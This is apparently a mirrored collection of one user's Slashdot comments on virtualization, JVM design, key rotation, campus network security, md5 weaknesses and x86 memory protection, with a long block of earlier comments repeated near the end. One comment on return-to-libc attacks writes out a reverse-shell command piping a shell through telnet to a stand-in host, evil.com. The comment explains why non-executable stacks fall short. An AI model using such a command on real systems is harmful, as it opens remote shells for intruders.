No. Phat Linux runs the Linux kernel in ring 0 and the NT kernel is not running. Phat Linux just uses FAT32 instead of ext2 and uses Wine to run Win32 apps. You can't use the "native NT" API with Phat Linux.
CoLinux runs the Linux kernel in ring 3 while the NT kernel is running in ring 0. CoLinux makes a Linux subsytem for NT from UMLinux, glibc, etc. just like the NT Win32 subsystem makes a Win32 subsystem for NT from CSRSS.EXE, Win32.DLL, etc.
CoLinux makes Linux apps just as "native" to NT as pure Win32 apps. Now, if CSRSS.EXE dies (for instance, if the console buffer underflows due to a printf("\t\b\b\t") ), XP wigs out, kills everything, and restarts (Win2k BSODs), but otherwise CoLinux and CSRSS.EXE+Win32.DLL are more or less equivalent subsystems of NT.
I have seen some projects (sorry, no URIs off hand) attempting clean room implementations of the NT kernel. Presumably these could be ported to userland just like UMLinux is a usermode port of the Linux kernel.
I think it would be more interesting to see (a clone of) the NT and Linux kernels running side-by-side under a nanokernel like L4. I ran Linux in user-space under L4 for a little while a few years ago, but the port wasn't very stable. Some of it may have been that I hacked the default L4 user-space memory manager to support more than 256 MB of RAM. (This has been long fixed in L4.)
It would be interesting to take OpenJIT and modify it to generate (and compile) ASTs on demand from x86 ELF binaries and.so files rather than class files.
It would likely be very very slow, but in conjunction with a UMLinux port to the JVM it would allow you to run many Linux x86 binaries on anything with a JVM as long as you packaged enough of the Linux x86.so libraries with it.
For a while Sun toyed with the idea of a JavaOS where everything but the kernel ran in a JVM. Unfortunately, few people consider even modern JVMs acceptably fast. The JVM forces the Java object model and calling mechanics on the code, so writing code for a JavaOS would be great as long as Java is the best tool for the job.
Additionally, stack-based virtual machines are pretty much ideal for interpreters (see Xavier LeRoy's design paper for Zinc, the O'caml VM) but other VM models are much better suited to just-in-time compilation (see Ken Thompson's Dis VM design paper). Java is a great language, but the JVM was litterally designed to be runnable on 8-bit microcontrollers in toasters and fridges 2 decades ago. Now, 32-bit microcontrollers and RAM are so cheap that Sun should really consider keeping 100% source compatibility but scrapping direct binary campatibilty with it's 8-bit microcontroller optimized stack VM. They could always use something like OpenJIT to implement reverse compatibility inside the Java 3 JVM. (The whole "Java 2 Virtaul Machine v.1.4.2" thing is anoying and confusing for many people. Letting Marketing call it "Java 2" but letting Engineering call it the "1.2.1 JVM" was dumb.)
Diverging back on topic...
The idea of a VM-oriented OS is nice, but it seems that in order to compete with native applications, higher performance and more flexible VM designs are needed.
Vmware, Bochs, and CoLinux can all be thought of as more or less high performance flexible virtual machines, each with a different level of virtualization and performance. A complete re-design in Java 3 would make a JavaOS (such as UMLinux and libraries for the JVM) much more attractive. It looks like Microsoft is working towards a.NET VM (CLR) based OS. This is a logical step in a long historical trend towards more hardware abstraction at the application layer. I'm sad that MS decided to leverage so much of its JVM experience in creating the CLR as a stack-based machine that enforces a particular object model at the lowest level (rather than being enforced at the class loader level), but at least it's a step in the right direction.
Umm... private keys do change... it's idoitic not to set expiration dates on private keys. Package updates can change the public key used to verify packages on a regular basis.
Also, there isn't enough energy in the known universe to perform 2**2048 electron transitions or spin flips, so how do you propose an attacker keep track of state while bruit forcing a 4096-bit RSA key?
Now, there are known attacks that are much much much more efficient than bruit forcing, but it will still take you millions of years with all of the world's current computing power to break a 4096-bit RSA key, a 4096-bit El Gamal key over Z*_p, a 4096-bit DSA key over Z*_p, a 512-bit El Gamal key on an eliptic curve, or a 512-bit DSA key on an eliptic curve.
You just need to change private keys substancially faster than the best known attacks.
Now, you might argue that there are attacks out there that are much better than publically known attack methods. However, that's why you change keys litterally millions of times more often than dictated by the best known attacks.
But my point was that the trojans won't get installed because the signatures won't validate. The private keys are a high value target... that's why you never even put a NIC in the box holding the private keys. Sure, it's a pain in the butt to move packages around via sneakernet, but it forces someone to have physical access to the machine in order to compromise the private keys.
I was one of two network contacts for my fraternity. Basically, I volunteered for some minor network administration in the house so that we all got a free T1.
In general, the MIT "firewalls are false security" mantra is a good thing, particularly at MIT where there is a high concentration of bright and inquisitive people. You can never count on the black- and grey-hats being on the other side of your fire wall. You have to assume that the networks on both sides of your firewall are hostile. Each host must be a castle unto itself. This is simply a much more robust security model than "keep the bad guys over there".
On the other hand, shortly before MS started covering IIS on WindowsUpdate, the house had a rash of IIS exploits and RPC exploits. I asked for advice about setting up an OpenBSD firewall to only allow outgoing connections from most machines (and knocking holes in the firewall for MIT Network Security's vulnerability scanners). The response I got was basically "If you have to ask, we won't help you. Just patch everything and it will be fine." They didn't seem to realize that a sophmore can't just run around the house pestering everyone to keep their machines up to date. Basically, my powers were limited to waiting for problems and then finding the offender and saying "MIT is threatening to cut the entire house off from the Internet in two hours unless you do what I say now!". Sure, I send out reminders and heads up emails, but when they didn't listen and got compromised I would invariably be the one to do their OS reinstall because if I didn't, half of them would just put the compromised machine back online without fixing anything.
This last year, MIT actually stepped out of the ivory tower and did some port-based filtering (firewalling) when tons of students came back from Summer to take their computers out of storage. Many of the students would get compromised while updating, even if they patched as soon as connecting the machine to the Internet.
I think they also permanently firewall off their MS Windows-Athena computer cluster. (side note: the internal code name for the project to modify Windows to work with the rest of the Athena network was Pismere -- Latin for horse piss)
I also pestered MIT for about a month after RedHat released the ptrace bug kernel fix and they hadn't pushed the fix out to the official RedHat-Athena packages. Their position was that local root exploits weren't a problem since MIT gives the root password to most of the machines to students who ask. I pointed out that many departments and individual students set up machines so that absolutely anyone with an Athena account could SSH in as a normal user. There had been no warning emailed out that RedHat-Athena machines were still vulnerable to the ptrace local root exploit. Most of these machines owners assumed that the problem had been taken care of by RedHat-Athena's daily automatic updates. It was by sheer luck that I looked at the file modification date on my friend's kernel and realized the modification date was long before the ptrace vulnerability had been discovered. After all, I had already checked that it was up to date on all of the patches MIT put out for RedHat-Athena.
In short, MIT netowrk security policy is a strange patchwork of opinions.
More imporant what happens when the patch servers are violated? Attacking those serevers directly or performing man in the middle attacks vs them would become extreamly usefull. If everybody is allowing there computers to automaticaly install said updates it gets ugly.
If your autoupdater checks package signatures and the private signature keys are kept on machines that are only connected to the outside world via SneakerNet, MitM and server compromises only directly act as DoS attacks. Now, maybe an attacker could set up the machine to try the exploit on whichever machines ask for the patched packages, but presumably it's more efficient to write a worm that just spreads as rapidly as possible by vulnerability scanning the entire internet in a distributed fassion (a la Worhol worm). Don't throw the baby out with the bath water. Everyone's checking their patch signatures anyway, right?... right?... right?... anyone? We're doomed!
Autoupdaters are a great thing as long as signatures are handled properly. If you need to test patches in your own test environment, then you're more than capable of setting up a local mirror of only the patches you have verified and pointing all of your boxes at that mirror.
What kind of strange CPU implementation modifies register values when addressing sub-word vlaues? This is done most commonly by the programmer at write-time, (or maybe by some strange compiler or assembler at compile-time). This is not a hardware advantage in any architecture I'm aware of. Are you perhaps talking about extra hardware burden associated with unaligned memory access? Unaligned memory access is not a consequence of byte ordering.
One more big advantage of the big-endian byte order is that 64-bit big-endian CPUs can do string comparisons 8 bytes at a time. This is a big advantage where the length of the strings is known (Java strings, Pascal strings, burrows-wheeler transform for data compression) and still an advantage for null-terminated strings.
I'm not aware of any such performance advantages for the little-endian byte order.
The main advantage of little-endian byte order is ease of modifying code written in assembly or raw opcodes if you later decide to change your design and go with larger or smaller data fields. The main uses for assembly programming are very low-level kernel programming (generally the most stable part of the kernel code base) and performace enhancement of small snippets of code that have been well tested and profiled and are unlikely to change a lot.
I agree that an decent programmer should be able to deal with either endianess, but the advantages of the little-endian byte order seem to be becoming less and less relevant.
single station users drag from keeping all that multi-user overhead going...it's all about the right tool for the job!
What multi-user overhead are you talking about? Win2k runs much slower than Debian Testing on my PII 266 MHz machine. As long as you are enforcing privledges and capabilities (which both Win2k and Linux at least attempt to do) there is no inherent extra overhead in having threads running concurrently with different permissions. You can argue that Win98 SE with its lack of a security model is inherently lighter weight than Linux or WinNT/2k/XP. However, both WinNT/2k/XP and Linux run various services/daemons in security contexts (in other words, as different users) different than logged in users, so I fail to see any inherent overhead in a multi-user model if you need to support multiple concurrent security contexts in the first place. In a sense, the WinNT family of OSes were still designed from the ground up as multiple concurrent user OSes, it's just that certain system resources inherited a design that scaled very poorly due to the need for reverse compatibility (and also a lot of legacy code investment in the implementation of these resources) with Win95, Win3.11, etc. Maybe you can explain this inherent overhead of having multiple human "users" instead of one human user and many service context "users" a little more.
In other words, it's more a matter of WinNT/2k/XP inheriting poor multi-user functionality rather than poor multi-user functionality being a necessity for good single-user performance (assuming you need the overhead of multiple concurrent security contexts in order to run secure services/daemons, etc.).
I believe the Win2k scheduler boosts the priority of some or all of the threads in the process that has the window focus. This does improve responsiveness when you're only doing one thing. Maybe this is the "inherent overhead" you may feel when running a single task on Linux vs. running a single task under WinNT/2k/XP.
However, as a consequence of Linux not having proper threading support for a long time, a lot of effort was put into making ordinary processes as light as possible. The result is that the per-process overhead in Linux is much lower than the per-process overhead in Windows (and somewhat less than in Solaris, not sure about other *NIXen). If you're used to running a web browser, a PDF viewer, a JVM, and perhaps a numerical simulation simultanously on a PII 266, Win2k is just painful. I read around about which services I could safely turn off and pruned my system down, but it was still very difficult to get decent background performance when multi-tasking.
You can certainly set up very heavyweight environments under Linux that may be heavier than Explorer and CSRSS. However, even with the supposed "inherent overhead of having a nice multi-user system", Linux runs much better on limited hardware than Win2k with appropriate choices of running services and desktop environments.
When I first installed VMWare, I thought VMWare was painfully slow becuase Win2k ran so slowly under Linux, so I installed Win2k natively and it didn't speed up much, so I reformatted my NTFS partition to ext2 and went back to running VMWare.
The only difference is it can address a larger data set. Unless you're doing something which directly benefits from 64 bitness on a PPC CPU, you'll be better off with a 32 bit binary.
Some readers might interpret this as meaning that 64-bit pointers are the only benefits of a 64-bit CPU. I'd like to point out the advantages of single-instruction (u_)int64_t operations.
There are a bunch of algorithms that will run twice as fast on 64-bit CPUs and 32-bit CPUs. String comparisons where the string length is known a priori (as in Java or Pascal strings) can be handled 8 bytes at a time rather than 4 at a time. There are also some tricks that can be done with null-terminated strings, but these Multi-precission arithmatic and memory comying routines also benifit greatly from 8 byte words.
On 64-bit systems, you could also do things like re-writing the O'caml virtual machine so that it internally uses 63-bit integers and doesn't box 32-bit integers.
Either you need security against malicious parties or you don't. If you need security, pay the cpu cycles to do it right. If you don't need security , then don't waste CPU cycles and fool yourself or your users by using poor cryptographic primitives or using good cryptographic primitives poorly.
Even most software gurus don't understand the various properties of hash functions (weak collision resistance, strong collision resistance, one-way ness, good pseudo-randomness, etc.) and which are important in which situations. It's safest just to tell programmers "md5 is bad, use sha-n instead".
Also, as I mentioned in athoer post, there is good evidence that md5 is broken in the sense that it is possible to find attacks against md5 that are more efficient than the birthday attack.
I think the point is that the vast vast majority of people implementing security don't have a strong cryptographic background. Most people don't know about the evidence that md5 isn't strongly collision resistant. Furthermore, many people don't understand that even if md5 were strongly collision resistant, strong collisions could be found with a work factor of 2**64 (ignorance of birthday attacks). It's also easy to fool yourself into a false sense of security by using known weak methods and saying "almost good enough is good enough".
If you want fast and strong file integrity checking and are not concerned about willful deceit, I would suggest a concatenation of (Adler32, file modulo 2**32-1, CRC64). This will be significantly faster than md5. You could replace CRC64 with CRC32, 64-bit addition of all 64-bit blocks, or XOR of all 64-bit blocks, but this will reduce the strength of your integrity checks.
md5 is about 33% slower than md4. If you want something pre-implemented that does 128-bit checks fast and kinda-sorta-cryptographically robust, md4 is an option. However, if speed doesn't matter to the point that you're not using something fast like the concatenation I mentioned above, you might as well go right to sha-256 or sha-512. If you want cryptographic security then use it and while you're paying for it in CPU cycles, pay the little extra to do it right. Either you need security or you don't.
There have been colissions found in the md5 round function, but I believe these rely on getting the chaining variables set to some class of weak values. The design of md5 depends on its round function being strongly collision resistant for all values of the chaining variables. This does not mean that md5 is broken yet, but it is not good news.
md5 still looks perfectly good as a one-way pseudo-random function (uses like entropy gathering and password files). It also appears to provide 128-bit weak collision resistance in the strict cryptographic sense. This means it still looks okay for file integrity checks. However, the weaknesses found in the round function suggest it does not provide 128-bit strong colisison resistance and should not be used for electronic signatures. (Okay, there are situations where a weakly collision resistant hash function is acceptable in digital signatures, but you really have to know what you're doing. It's best to play it safe.) I'm not sure if any difinitive work has been done regarding the consequences of the round function weaknesses on the weak collision resistance of md5. Persionally, I would only use md5 as a one-way pseudorandom function and assume it is not even weakly collision resistant.
Collisions in md5's round function have been found with much less than a work factor of 2**64. This suggests that it is possible to find strong collisions in md5 itself with a work factor less than 2**64.
In other words, md5 likely does not provide 128 bits of integrity. However, as far as the public knows, no attacks have been found yet.
It is very likely that the first 128 bits of a sha-n digest make a more secure hash function than md5. I'm actually pretty surprised that this is not more widely publicized.
Heh... I still use my Dell Dimension XPS D266 that I purchased in 1997. Of course, it helps that I started bual booting in early 1998 (Linux 2.0.35 !) and got rid of MS Windows all together in the Summer of 2000. How easy is it to prune down MS Windows to run on old hardware?
Would XP even install on such a machine? With 288 MB (256 + 32) of RAM and a 7,200 RPM HD, Linux runs great as long as I don't use a heavyweight window manager.
In the standard x86 DOS partitioning scheme, the boot sector also contains the partition table for the non-extended partitions (maximum of 4 partitions). (I'm not sure where Macintosh partioning schemes, BSD slices, Solaris partitioning, etc. store the partition information) You will need to repair the partition table before you can find the FAT in the first sector of the partition. (Of course, many tools can guess where your partitions are located and reconstruct broken partition tables.)
I once used a hex editor to edit my bootloader and misaligned the partition information. This had the same effect as this worm. Luckily, I had a spare Linux install on my backup drive and had a bootloader on the second drive as well. The repair wasn't that bad using gpart, but 90% of the poeple out there would freak out and reinstall MS Windows (overwriting their data) if their partioning information was lost.
After that, I decided to keep a "hard copy" of my partition information.
What sorts of business logic are you trying to hide? How are you doing it presently?
There are Java bytecode obfuscators out there that will foil at least some decompilers. Using a class file compressor that makes class, method, and field names as short as possible will make the decompiled Java bytecode about as useful as dissasembled native code.
If you're relying on nobody being able to decompile your code, native compilers won't help you much. Native code can be disassembled.
Most companies don't even strip their native binaries before shipping them. Reverse-engineering is a non-issue for most companies or else they realize that it takes far less energy to break most ant-reverse-engineering measures than it takes to create them.
Decompiling is really a non-issue for 99.9% of potential users.
I've used GCJ some before and lurked a little on its developer's mailing list. GCJ is just another front-end to GCC. GCC has a C front-end, a C++ front-end, a Fortran 77 front-end, etc. The "source code" GCJ takes in is either Java byte code or Java source code and generates RTL code. The GCC back end then translates the RTL code into native code just like it would if you had started with C++ code (Java objects are treated almost identically to C++ objects internally). libgcj is simply a native Java runtime just like libc is a native C runtime. libgcj contains code for all of the Java 1.1 standard library. libgcj has things like System.out.println() whereas libc has things like fprintf().
GCJ "merely makes calls to libgcj" in the same sense that g++ merely makes calls to libstdc++. What is it exactly that you think a compiler and runtime system do?
Have you ever done any Win32 assembly programming? A good percentage of your code tends to end up looking like assembly glue code for a lot of the Win32 C library code.
libgcj does contain a java bytecode interpreter because it needs to be able to load and run arbitrary class files at runtime that might not be available at compile time. However, it would be much much slower than a modern JIT JVM if it interpreted all of the classes.
GCJ binaries might even be a little harder than g++ binaries to reverse-engineer due to the automatic garbage collector jumping in and taking you on tangents every once in a while.
You can still upload data and have it interpreted as arguments to a library call (or any function call, for that matter).
You basically smash the stack with the strings "sh" , "-c", and "telnet evil.com 666 | sh | telnet evil.com 667" and some pointers to those strings and make sure the return address on the stack gets altered to the entry point for exec() and you've got yourself a reverse telnet session in the context of the program you just exploited. (And a likely very bad daemon crash as soon as you end the reverse telnet session and the exec() call returns.) This has been well known for a long long time. Non-executable stacks don't always prevent exploitation of buffer overflows.
Self modifying code is one of the reasons why Turing's Stoping Problem is unsolvable. It is very easy for self-modifying code to get into an infinite loop.
Do you mean the halting problem? It has nothing to do with self-modifying code. Look up the standard proof that the halting problem is unsolvable in the general case. It's a very simple and elegant proof that still holds if you don't allow self-modifying code.
Note that the halting problem is solvable for any machine with a finite number of states (as opposed to a universal Turing machine).
I agree with you that x86 should have seperated write and execute permissions on pages long long ago. This is a big step forward, but I think you're confused about which protection mechanisms have been supported since the 386 and which mechanisms AMD is adding.
Protected momory has exited for a long time, and x86 architecture is just about the last major processor architecture that does not have support for user and OS seperated protected memory.
Umm... seperate write/execute memory page permissions are not a userspace/kernel seperation mechanism. User/kernel space seperation has existed in the x86 family since the 386 introduced rings. Microsoft choose not to cleanly seperate kernel and user space. However, the 386 is fully capable of hardware-enforced protection of the OS (typically ring 0 code) from all userspace programs (typically ring 3 code), no matter how mallicious.
I am taking an OS course right now, and I was very surprised at this as it solves so many malicious code based problems like buffer overruns.
It actually doesn't completely solve any problems. Rings can be used to prevent buffer overflows in user code from doing anything the haijacked program was restricted from doing in the first place. (See mandatory access controls and capabilities.) Non-executable stacks and heaps don't do anything in that sense. On the other hand, non-executable stacks and heaps do further restrict the conditions under which a buffer overflow is exploitable. However, we've known for a long time how to smash the stack and execute libc code instead of executing code on the stack. I believe almost two decades ago "Mudge" wrote a text file on constructing buffer overflows in SunOS machines with the non-executable stack feature enabled.
Don't get me wrong. This is a huge help for security (and helps in debugging by making bad code die closer to the problem), but it doesn't mean we're free from exploitable buffer overflows. Maybe I totally misunderstood your post, but it sure sounded like you were saying that up until now the x86 family was unable to enforce kernel/userspace protection.
I have several friends that have interned/work full time at Microsoft and they know some of the old guys that remember the mantra "The job's not through until it doesn't run on OS/2".
MS intentionally made applications that would crash on OS/2.
Supposedly OS/2 would run a lot of Win16 programs better than any MS Windows varaiant at the time. (Where "better" means fewer OS crashes and/or fewer application crashes, I believe.)
OS/2 may well have been priced higher than MS Windows, but I hear it was a better Windows than MS Windows itself.
In one way or another you can blame any commercial failure on price, but price may only be a symptom. Maybe OS/2 was fixing a problem that consumers didn't think they had. They obviosuly thought MS Windows was a good enough Windows to do the job most of the time. If OS/2 failed in price it meant that either the people setting the prices did it poorly or that consumer need for the features OS/2 provided could not cover the cost of developing those features.
I think OS/2 is finally being phased out of its niche markets, but I remember seeing a huge number of OS/2 cash registers long after OS/2 was dead in the consumer realm. I also hear a lot of ATMs (called "cash machines" or something in the British dialect) ran OS/2 for a long time. OS/2 was used where the costs of crashes were high, so that the extra stability of OS/2 more than made up for the price tag. Either IBM overestimated the size of the market segment that would pay for a better Windows or MS's efforts to level the playing field through intentional application bugs were successful. I suspect it was a combination of the two, but I have not studied the problem in depth.
Microsoft is able to sell X-boxes at a loss to gain a toehold in a market...why can't Intel who haven't been ruled a monopoly!
They fear they do not have enough experiency buying judges.;-)
<tangent>
On a side note, monopolies aren't necessarily illegal or even a problem. Microsoft was convicted of being an illegal monopoly. It leveraged its monopoly power in shady ways to enter new markets and damaged markets by throwing its wieght around.
If you claim Microsoft was merely a monopoly, it's much easier for others to defend Microsoft by saying it was being penalized for being successful.
The U.S. does not have free markets. The government provides certain unnatural protections for producers (copyrights, patents, trademarks, etc.) that inhibit truly free trade. The government also imposes limits on how much producers are allowed to inhibit the market's ability to choose the best products at the best prices (Sherman Anti-trust Act, etc.).
The problem wasn't that Microsoft had a huge percentage of the market share (a monopoly doesn't mean 100% market share). The problem was that Microsoft used its monopoly power to reduce freedom of the market. The market was less efficient as a direct consequence of Microsoft's actions.
Claiming MS got convicted of being a monopoly is like claiming Clinton got impeached for having an affair. Neither being a monopoly nor having an affair is strictly illegal. False testimony to Congress under oath and bullying markets are both illegal. (Was it purgery or obstruction of justice that got Clinton impeached?)
I never understood the whole transparent encryption thing. When would you consider the contents of the drive encrypted? When the thing was turned off? All the cops would have to do is get you away from the machine while it was on and they'd have free reign.
That is of course unless you were in the habit of using a locking screen saver or equivalent. Restarting the machine to get around the locked terminal would clear the encyption keys from RAM. Powering down the machine to seize it and take it off premesis would clear the encryption keys from RAM. Root exploits screw you over with any kind of encryption as all of RAM is available.
As long as you lock your terminal when you leave your chair, the main security difference between transparent and non-transparent encryption is non-root exploits.
Re:"Never praising anything done by white males"
on
What You Can't Say
·
· Score: 1
Good post.
One nit to pick. I think the SE Asian people group is spelled "Hmong", not "Mung".
Supposedly there are now more Hmong in the Minneapolis metro area than back in their native Laos. Many of them political refugees because so many Hmong helped the U.S. fight Communism in SE Asia.
You are correct... by default most *nix installations would allow a user to download and run an execuatable that opened outbound connections and enticed others to do the same.
On standard UNIX you would have to mount all user-writable partitions with the "noexec" option so that they could download the executable but couldn't run it. You'd also have to do something about perl, tcl, python, JVMs, and other interpreters/VMs.
Alternatively, you could use SELinux, TrustedBSD, EROS, Flask, one of several third-party Solaris kernel modifications, or some other OS that tracks users, roles, and capabilities (most commonly associated with Mandatory Access Controls, but MACs are not strictly necessary to give home users significant added protection from malware). (Yes, the Macintosh pun is quite obvious, don't go there.)
At the moment, the kind of fine-grained security necessary to prevent this kind of trojan without severely limiting users is pretty much only found in acadamia, classified environments, and a small percentage of corporate firewalls and other corporate infomation security boxes.
It's a shame most OSes don't come with easy to use sandboxes and per-application capability enforcement with easy to understand options like "let this program erase all of my files", "let this program read my credit card number, email, and other sensitive files", and "let this program spread over the net or send my social security number to foreign countries" so users will (at least at first) think twice about granting capabilities. Sure it's not perfect, but I would guess this would reduce the exponent on the exponential growth of a trojan like this by 25%. (Of course, my colon is far from omniscient, so I should have pulled that number out of my brain instead.) There will always be dumb users, but a little more user friendly security would make my implied tech support job with friends and family much easier. As long as they can run cute animations by default and the cute animations can't read/write files or open sockets, I think most of the people I talk through malware removal would be much much less likely to run into problems.
Slashdot Mirror
CoLinux runs the Linux kernel in ring 3 while the NT kernel is running in ring 0. CoLinux makes a Linux subsytem for NT from UMLinux, glibc, etc. just like the NT Win32 subsystem makes a Win32 subsystem for NT from CSRSS.EXE, Win32.DLL, etc.
CoLinux makes Linux apps just as "native" to NT as pure Win32 apps. Now, if CSRSS.EXE dies (for instance, if the console buffer underflows due to a printf("\t\b\b\t") ), XP wigs out, kills everything, and restarts (Win2k BSODs), but otherwise CoLinux and CSRSS.EXE+Win32.DLL are more or less equivalent subsystems of NT.
I think it would be more interesting to see (a clone of) the NT and Linux kernels running side-by-side under a nanokernel like L4. I ran Linux in user-space under L4 for a little while a few years ago, but the port wasn't very stable. Some of it may have been that I hacked the default L4 user-space memory manager to support more than 256 MB of RAM. (This has been long fixed in L4.)
It would likely be very very slow, but in conjunction with a UMLinux port to the JVM it would allow you to run many Linux x86 binaries on anything with a JVM as long as you packaged enough of the Linux x86 .so libraries with it.
For a while Sun toyed with the idea of a JavaOS where everything but the kernel ran in a JVM. Unfortunately, few people consider even modern JVMs acceptably fast. The JVM forces the Java object model and calling mechanics on the code, so writing code for a JavaOS would be great as long as Java is the best tool for the job.
Additionally, stack-based virtual machines are pretty much ideal for interpreters (see Xavier LeRoy's design paper for Zinc, the O'caml VM) but other VM models are much better suited to just-in-time compilation (see Ken Thompson's Dis VM design paper). Java is a great language, but the JVM was litterally designed to be runnable on 8-bit microcontrollers in toasters and fridges 2 decades ago. Now, 32-bit microcontrollers and RAM are so cheap that Sun should really consider keeping 100% source compatibility but scrapping direct binary campatibilty with it's 8-bit microcontroller optimized stack VM. They could always use something like OpenJIT to implement reverse compatibility inside the Java 3 JVM. (The whole "Java 2 Virtaul Machine v.1.4.2" thing is anoying and confusing for many people. Letting Marketing call it "Java 2" but letting Engineering call it the "1.2.1 JVM" was dumb.)
Diverging back on topic...
The idea of a VM-oriented OS is nice, but it seems that in order to compete with native applications, higher performance and more flexible VM designs are needed.
Vmware, Bochs, and CoLinux can all be thought of as more or less high performance flexible virtual machines, each with a different level of virtualization and performance. A complete re-design in Java 3 would make a JavaOS (such as UMLinux and libraries for the JVM) much more attractive. It looks like Microsoft is working towards a .NET VM (CLR) based OS. This is a logical step in a long historical trend towards more hardware abstraction at the application layer. I'm sad that MS decided to leverage so much of its JVM experience in creating the CLR as a stack-based machine that enforces a particular object model at the lowest level (rather than being enforced at the class loader level), but at least it's a step in the right direction.
Also, there isn't enough energy in the known universe to perform 2**2048 electron transitions or spin flips, so how do you propose an attacker keep track of state while bruit forcing a 4096-bit RSA key?
Now, there are known attacks that are much much much more efficient than bruit forcing, but it will still take you millions of years with all of the world's current computing power to break a 4096-bit RSA key, a 4096-bit El Gamal key over Z*_p, a 4096-bit DSA key over Z*_p, a 512-bit El Gamal key on an eliptic curve, or a 512-bit DSA key on an eliptic curve.
You just need to change private keys substancially faster than the best known attacks.
Now, you might argue that there are attacks out there that are much better than publically known attack methods. However, that's why you change keys litterally millions of times more often than dictated by the best known attacks.
In general, the MIT "firewalls are false security" mantra is a good thing, particularly at MIT where there is a high concentration of bright and inquisitive people. You can never count on the black- and grey-hats being on the other side of your fire wall. You have to assume that the networks on both sides of your firewall are hostile. Each host must be a castle unto itself. This is simply a much more robust security model than "keep the bad guys over there".
On the other hand, shortly before MS started covering IIS on WindowsUpdate, the house had a rash of IIS exploits and RPC exploits. I asked for advice about setting up an OpenBSD firewall to only allow outgoing connections from most machines (and knocking holes in the firewall for MIT Network Security's vulnerability scanners). The response I got was basically "If you have to ask, we won't help you. Just patch everything and it will be fine." They didn't seem to realize that a sophmore can't just run around the house pestering everyone to keep their machines up to date. Basically, my powers were limited to waiting for problems and then finding the offender and saying "MIT is threatening to cut the entire house off from the Internet in two hours unless you do what I say now!". Sure, I send out reminders and heads up emails, but when they didn't listen and got compromised I would invariably be the one to do their OS reinstall because if I didn't, half of them would just put the compromised machine back online without fixing anything.
This last year, MIT actually stepped out of the ivory tower and did some port-based filtering (firewalling) when tons of students came back from Summer to take their computers out of storage. Many of the students would get compromised while updating, even if they patched as soon as connecting the machine to the Internet.
I think they also permanently firewall off their MS Windows-Athena computer cluster. (side note: the internal code name for the project to modify Windows to work with the rest of the Athena network was Pismere -- Latin for horse piss)
I also pestered MIT for about a month after RedHat released the ptrace bug kernel fix and they hadn't pushed the fix out to the official RedHat-Athena packages. Their position was that local root exploits weren't a problem since MIT gives the root password to most of the machines to students who ask. I pointed out that many departments and individual students set up machines so that absolutely anyone with an Athena account could SSH in as a normal user. There had been no warning emailed out that RedHat-Athena machines were still vulnerable to the ptrace local root exploit. Most of these machines owners assumed that the problem had been taken care of by RedHat-Athena's daily automatic updates. It was by sheer luck that I looked at the file modification date on my friend's kernel and realized the modification date was long before the ptrace vulnerability had been discovered. After all, I had already checked that it was up to date on all of the patches MIT put out for RedHat-Athena.
In short, MIT netowrk security policy is a strange patchwork of opinions.
If your autoupdater checks package signatures and the private signature keys are kept on machines that are only connected to the outside world via SneakerNet, MitM and server compromises only directly act as DoS attacks. Now, maybe an attacker could set up the machine to try the exploit on whichever machines ask for the patched packages, but presumably it's more efficient to write a worm that just spreads as rapidly as possible by vulnerability scanning the entire internet in a distributed fassion (a la Worhol worm). Don't throw the baby out with the bath water. Everyone's checking their patch signatures anyway, right? ... right? ... right? ... anyone? We're doomed!
Autoupdaters are a great thing as long as signatures are handled properly. If you need to test patches in your own test environment, then you're more than capable of setting up a local mirror of only the patches you have verified and pointing all of your boxes at that mirror.
One more big advantage of the big-endian byte order is that 64-bit big-endian CPUs can do string comparisons 8 bytes at a time. This is a big advantage where the length of the strings is known (Java strings, Pascal strings, burrows-wheeler transform for data compression) and still an advantage for null-terminated strings.
I'm not aware of any such performance advantages for the little-endian byte order.
The main advantage of little-endian byte order is ease of modifying code written in assembly or raw opcodes if you later decide to change your design and go with larger or smaller data fields. The main uses for assembly programming are very low-level kernel programming (generally the most stable part of the kernel code base) and performace enhancement of small snippets of code that have been well tested and profiled and are unlikely to change a lot.
I agree that an decent programmer should be able to deal with either endianess, but the advantages of the little-endian byte order seem to be becoming less and less relevant.
In other words, it's more a matter of WinNT/2k/XP inheriting poor multi-user functionality rather than poor multi-user functionality being a necessity for good single-user performance (assuming you need the overhead of multiple concurrent security contexts in order to run secure services/daemons, etc.).
I believe the Win2k scheduler boosts the priority of some or all of the threads in the process that has the window focus. This does improve responsiveness when you're only doing one thing. Maybe this is the "inherent overhead" you may feel when running a single task on Linux vs. running a single task under WinNT/2k/XP.
However, as a consequence of Linux not having proper threading support for a long time, a lot of effort was put into making ordinary processes as light as possible. The result is that the per-process overhead in Linux is much lower than the per-process overhead in Windows (and somewhat less than in Solaris, not sure about other *NIXen). If you're used to running a web browser, a PDF viewer, a JVM, and perhaps a numerical simulation simultanously on a PII 266, Win2k is just painful. I read around about which services I could safely turn off and pruned my system down, but it was still very difficult to get decent background performance when multi-tasking.
You can certainly set up very heavyweight environments under Linux that may be heavier than Explorer and CSRSS. However, even with the supposed "inherent overhead of having a nice multi-user system", Linux runs much better on limited hardware than Win2k with appropriate choices of running services and desktop environments.
When I first installed VMWare, I thought VMWare was painfully slow becuase Win2k ran so slowly under Linux, so I installed Win2k natively and it didn't speed up much, so I reformatted my NTFS partition to ext2 and went back to running VMWare.
Some readers might interpret this as meaning that 64-bit pointers are the only benefits of a 64-bit CPU. I'd like to point out the advantages of single-instruction (u_)int64_t operations.
There are a bunch of algorithms that will run twice as fast on 64-bit CPUs and 32-bit CPUs. String comparisons where the string length is known a priori (as in Java or Pascal strings) can be handled 8 bytes at a time rather than 4 at a time. There are also some tricks that can be done with null-terminated strings, but these Multi-precission arithmatic and memory comying routines also benifit greatly from 8 byte words.
On 64-bit systems, you could also do things like re-writing the O'caml virtual machine so that it internally uses 63-bit integers and doesn't box 32-bit integers.
Even most software gurus don't understand the various properties of hash functions (weak collision resistance, strong collision resistance, one-way ness, good pseudo-randomness, etc.) and which are important in which situations. It's safest just to tell programmers "md5 is bad, use sha-n instead".
Also, as I mentioned in athoer post, there is good evidence that md5 is broken in the sense that it is possible to find attacks against md5 that are more efficient than the birthday attack.
I think the point is that the vast vast majority of people implementing security don't have a strong cryptographic background. Most people don't know about the evidence that md5 isn't strongly collision resistant. Furthermore, many people don't understand that even if md5 were strongly collision resistant, strong collisions could be found with a work factor of 2**64 (ignorance of birthday attacks). It's also easy to fool yourself into a false sense of security by using known weak methods and saying "almost good enough is good enough".
